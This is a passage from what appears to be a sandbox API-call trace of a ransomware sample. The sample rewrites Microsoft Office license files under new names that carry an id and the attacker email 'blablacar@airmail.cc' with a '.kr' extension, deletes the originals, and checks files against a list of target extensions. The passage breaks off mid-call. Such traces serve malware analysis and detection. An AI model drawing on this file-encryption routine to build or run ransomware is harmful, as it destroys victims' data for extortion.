returned 1 [0194.524] SetEndOfFile (hFile=0x4d8) returned 1 [0194.524] CloseHandle (hObject=0x4d8) returned 1 [0194.524] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.524] SetEndOfFile (hFile=0x4d4) returned 1 [0194.527] CloseHandle (hObject=0x4d4) returned 1 [0194.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0194.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.528] lstrlenW (lpString=".doc") returned 4 [0194.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.528] lstrlenW (lpString=".docx") returned 5 [0194.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.529] lstrlenW (lpString=".pdf") returned 4 [0194.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString=".xls") returned 4 [0194.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString=".xlsx") returned 5 [0194.529] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.529] lstrlenW (lpString=".ppt") returned 4 [0194.529] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.529] lstrlenW (lpString=".zip") returned 4 [0194.529] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString=".rar") returned 4 [0194.529] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString=".bz2") returned 4 [0194.529] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString=".7z") returned 3 [0194.529] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.529] lstrlenW (lpString=".dbf") returned 4 [0194.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.529] lstrlenW (lpString=".1cd") returned 4 [0194.529] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.529] lstrlenW (lpString=".jpg") returned 4 [0194.529] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.803] lstrlenW (lpString=".doc") returned 4 [0194.803] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.803] lstrlenW (lpString=".docx") returned 5 [0194.803] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.803] lstrlenW (lpString=".pdf") returned 4 [0194.803] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString=".xls") returned 4 [0194.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString=".xlsx") returned 5 [0194.804] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.804] lstrlenW (lpString=".ppt") returned 4 [0194.804] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.804] lstrlenW (lpString=".zip") returned 4 [0194.804] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString=".rar") returned 4 [0194.804] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString=".bz2") returned 4 [0194.804] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString=".7z") returned 3 [0194.804] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.804] lstrlenW (lpString=".dbf") returned 4 [0194.804] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.804] lstrlenW (lpString=".1cd") returned 4 [0194.804] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0194.804] lstrlenW (lpString=".jpg") returned 4 [0194.804] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.804] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.805] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37 [0194.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.902] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11644) returned 1 [0194.902] CloseHandle (hObject=0x410) returned 1 [0194.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0194.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.008] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.008] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0195.009] GetLastError () returned 0x0 [0195.009] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0195.069] WriteFile (in: hFile=0x500, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0195.070] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.070] WriteFile (in: hFile=0x500, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0195.071] SetEndOfFile (hFile=0x500) returned 1 [0195.071] CloseHandle (hObject=0x500) returned 1 [0195.071] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.071] SetEndOfFile (hFile=0x538) returned 1 [0195.082] CloseHandle (hObject=0x538) returned 1 [0195.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.084] lstrlenW (lpString=".doc") returned 4 [0195.084] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.084] lstrlenW (lpString=".docx") returned 5 [0195.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.084] lstrlenW (lpString=".pdf") returned 4 [0195.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.084] lstrlenW (lpString=".xls") returned 4 [0195.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.084] lstrlenW (lpString=".xlsx") returned 5 [0195.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.084] lstrlenW (lpString=".ppt") returned 4 [0195.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.084] lstrlenW (lpString=".zip") returned 4 [0195.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".rar") returned 4 [0195.085] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".bz2") returned 4 [0195.085] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".7z") returned 3 [0195.085] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.085] lstrlenW (lpString=".dbf") returned 4 [0195.085] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.085] lstrlenW (lpString=".1cd") returned 4 [0195.085] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.085] lstrlenW (lpString=".jpg") returned 4 [0195.085] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.085] lstrlenW (lpString=".doc") returned 4 [0195.085] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".docx") returned 5 [0195.085] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.085] lstrlenW (lpString=".pdf") returned 4 [0195.085] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".xls") returned 4 [0195.085] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.085] lstrlenW (lpString=".xlsx") returned 5 [0195.085] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.085] lstrlenW (lpString=".ppt") returned 4 [0195.085] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.086] lstrlenW (lpString=".zip") returned 4 [0195.086] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString=".rar") returned 4 [0195.086] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString=".bz2") returned 4 [0195.086] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString=".7z") returned 3 [0195.086] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.086] lstrlenW (lpString=".dbf") returned 4 [0195.086] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.086] lstrlenW (lpString=".1cd") returned 4 [0195.086] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0195.086] lstrlenW (lpString=".jpg") returned 4 [0195.086] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.086] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.086] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0195.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.090] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21977) returned 1 [0195.090] CloseHandle (hObject=0x538) returned 1 [0195.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0195.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.091] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.091] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0195.092] GetLastError () returned 0x0 [0195.092] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x55d9, lpOverlapped=0x0) returned 1 [0195.111] WriteFile (in: hFile=0x500, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x55e0, lpOverlapped=0x0) returned 1 [0195.113] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.113] WriteFile (in: hFile=0x500, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0195.113] SetEndOfFile (hFile=0x500) returned 1 [0195.114] CloseHandle (hObject=0x500) returned 1 [0195.114] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.114] SetEndOfFile (hFile=0x538) returned 1 [0195.140] CloseHandle (hObject=0x538) returned 1 [0195.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0195.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.142] lstrlenW (lpString=".doc") returned 4 [0195.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".docx") returned 5 [0195.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.142] lstrlenW (lpString=".pdf") returned 4 [0195.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".xls") returned 4 [0195.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".xlsx") returned 5 [0195.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.142] lstrlenW (lpString=".ppt") returned 4 [0195.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.142] lstrlenW (lpString=".zip") returned 4 [0195.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".rar") returned 4 [0195.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".bz2") returned 4 [0195.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.142] lstrlenW (lpString=".7z") returned 3 [0195.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.143] lstrlenW (lpString=".dbf") returned 4 [0195.143] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.143] lstrlenW (lpString=".1cd") returned 4 [0195.143] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.143] lstrlenW (lpString=".jpg") returned 4 [0195.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.407] lstrlenW (lpString=".doc") returned 4 [0195.407] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".docx") returned 5 [0195.407] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.407] lstrlenW (lpString=".pdf") returned 4 [0195.407] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".xls") returned 4 [0195.407] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".xlsx") returned 5 [0195.407] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.407] lstrlenW (lpString=".ppt") returned 4 [0195.407] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.407] lstrlenW (lpString=".zip") returned 4 [0195.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".rar") returned 4 [0195.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".bz2") returned 4 [0195.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString=".7z") returned 3 [0195.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.407] lstrlenW (lpString=".dbf") returned 4 [0195.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.408] lstrlenW (lpString=".1cd") returned 4 [0195.408] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0195.408] lstrlenW (lpString=".jpg") returned 4 [0195.408] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.408] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.408] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32 [0195.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0195.952] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10663) returned 1 [0195.952] CloseHandle (hObject=0x3c4) returned 1 [0195.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0196.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0196.177] GetLastError () returned 0x0 [0196.177] ReadFile 